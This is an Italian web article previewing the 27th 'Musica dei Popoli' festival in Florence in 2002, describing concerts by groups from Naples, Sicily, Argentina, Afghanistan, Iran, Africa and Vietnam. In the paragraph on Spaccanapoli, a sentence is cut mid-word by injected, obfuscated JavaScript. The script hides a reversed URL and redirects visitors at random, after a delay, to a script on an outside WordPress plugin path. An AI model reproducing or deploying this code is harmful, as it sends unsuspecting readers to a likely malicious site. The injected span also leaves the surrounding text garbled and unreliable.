Musica dei Popoli 2002

image_pdfimage_print

Quest’anno la 27° edizione del Festival Internazionale della ‘Musica dei popoli’, organizzata dal Centro Flog, è dedicata ai suoni e alle voci del Sud. Il Sud del mondo inteso non solo come area geografica, ma anche come un luogo di scambio culturale ed artistico, come la terra dei più caldi valori umani. Gli artisti, provenienti dall’Argentina, Afganistan, Iran, Africa, Italia e Vietnam, sono considerati ‘il massimo’ per i loro paesi e sono stati invitati in esclusiva per i concerti. ‘La ricerca di nuove forme musicali, che esprimono le varie credenze, tradizioni e mitologie, legati al sud, è dovuta anche alla migrazione nel territorio fiorentino. Conoscere l’altro, tramite la musica ed il suo linguaggio, è uno dei modi migliori per rendere più vicini a noi i popoli lontani’, ha detto il direttore artistico dell’Auditorium Flog Leonardo D’Amico.

A seguire il percorso musicale ci sarà una nave immaginaria che si fermerà nei vari porti del mare Mediterraneo, nell’Atlantico, nel Pacifico e nell’Indiano. La prima fermata della nave del Centro Flog sarà nel porto di Napoli.

Venerdì, 4 Ottobre, i musicisti di ‘Spaccanapoli’ apriranno il festival con la loro musica tradizionale napoletana. Il gruppo proviene dalla storica formazione folk ‘E Zezi’e prende il nome dell’antica strada che divide il centro di Napoli in due. Hanno già avuto successo due anni fa qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando lo stesso Peter Gabriel ha prodotto per la sua importante etichetta Real World il loro primo lavoro discografico ‘Aneme perze’, uscito nel Luglio 2000.

La formazione napoletana viene seguita da altri musicisti italiani. I Fratelli Mancuso di Sicilia ed Elena Ledda di Sardegna canteranno il Sabato, 5 Ottobre. Le canzoni di Enzo e Lorenzo Mancuso interpretano le antiche tensioni civili, l’eterno desiderio di libertà e tutte problematiche che riguardano l’eroismo e l’orgoglio del loro popolo.

Il soprano Elena Ledda porta l’anima della musica popolare nel cuore. E non a caso, nonostante che sia laureata in canto classico al Conservatorio di Cagliari, sceglie ‘l’avventura e la solitudine’ del canto popolare. Collabora con dei personaggi famosi come Noa, Enrico Rava, Richard Galliano, Lester Bowie, Friedman Witecka e molti altri. La sua voce è così espressiva e versatile che riesce ad elevare al massimo l’interesse anche verso la sua terra nativa.

La nave della Musica dei popoli prosegue poi verso Buenos Aires, dove sbarca il 6 Ottobre, per incontrare la grande orchestra di tango ‘Mosalini’. Conosciuto in Europa come l’ambasciatore più rappresentativo del tango, Juan Josè Mosalini è uno dei più grandi suonatori di bandonèon del mondo. All’età di 17 anni comincia a collaborare con le più grandi orchestre e i migliori solisti del suo paese come: Astor Piazzolla, Edmundo Riviero, Susana Rinaldi.

La fermata argentina è seguita da quella a Kaboul, mercoledì, 9 Ottobre. Auspicando alla normalità politica e sociale, il Centro Flog dedica una particolare attenzione all’Afganistan questa volta. ‘L’Ensamble Kaboul’ è consacrato alla musica tradizionale afgana e per quanto il paese sia multietnico, offre varie proposte musicali. Il particolare dei loro musicisti è che le radici della loro musica viene tramandata dal padre al figlio. I temi più ricorrenti sono: l’amore, il matrimonio, la famiglia e la fede, altrettanto comuni per i popoli del Sud. Si possono sentire degli strumenti tipici come il santur, il rubab, la tula, le tabla e l’harmonium.

Proseguendo con ‘Razbar Ensemble’, la nave si ferma in Iran l’11 d’Ottobre. L’Ensable iraniano è dedicato alla musica sacra delle tradizioni di Ahl-Haqq, ordine mistico, fondato nel 15° secolo. Il nome del gruppo significa ‘coloro che seguono la verità’.

Il 12 ottobre ci spostiamo poi in Africa e più precisamente in Congo. Il gruppo ‘Ngoma za Congo’ è formato da 16 elementi tra percussionisti e danzatori e la trama della produzione che presentano, dal titolo ‘Tiya’, cioè fuoco, narra della criminalità e dell’ingiustizia.

Si continua la navigazione verso il mondo arabo con il cantante Lotfi Bouchnak della Tunisia, il 18 ottobre. Cantante, liutista e compositore, Bushnak si ispira dalle varie culture musicali come quella orientale e andalusa.

L’Africa meridionale e quindi lo Zimbabwe si può sentire tramite ‘Black Umfolosi, in scena il 19 ottobre all’Auditorium Flog. Il gruppo di danza e canto di Bulawayo (Zimbabwe) si è formato quando i componenti avevano tra 8 e 16 anni; sono tutti autodidatti. Le loro canzoni spesso sono accompagnate da urla e trilli, come lo erano le vecchie canzoni di guerra Ndebele alle quali loro attingono. Le danze, invece, sono più che spettacolari. Vi è possibile un’immersione nel ballo Zulu di guerra, nel ballo dello stivale, ordinario delle miniere d’oro e di diamanti del Sud Africa, e nel ballo dell’Ambhiza.

Parlando delle immersioni, quale altra possibilità se non questa di vedere il magnifico ‘Teatro delle marionette sull’acqua’ del Vietnam. Lo spettacolo questa volta avrà luogo nella Limonaia di Villa Strozzi venerdì 25 e sabato 26 ottobre. Sarà allestito in una piccola vasca piena d’acqua e un tempio, che nasconde i marionettisti. Gli ultimi hanno una lunga storia, la cui leggenda narra che già nel II secolo d.c. il monaco buddista Tu Dao Hanh fondò la pagoda Thay, iniziando così all’arte delle marionette sull’acqua la gente del villaggio Ra. Un’altra cosa interessante è che gli spettacoli delle marionette non sono stati mai interrotti, nemmeno durante la cruenta guerra del Vietnam. Il repertorio attuale comprende circa 200 scene tradizionali con le divinità vietnamita, i loro buffoni, pescatori, animali fantastici, dragoni che sputano fuoco ecc. Non a caso anche gli organizzatori del Festival affermano che questo sia il clou degli spettacoli.

Tania Mollova

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *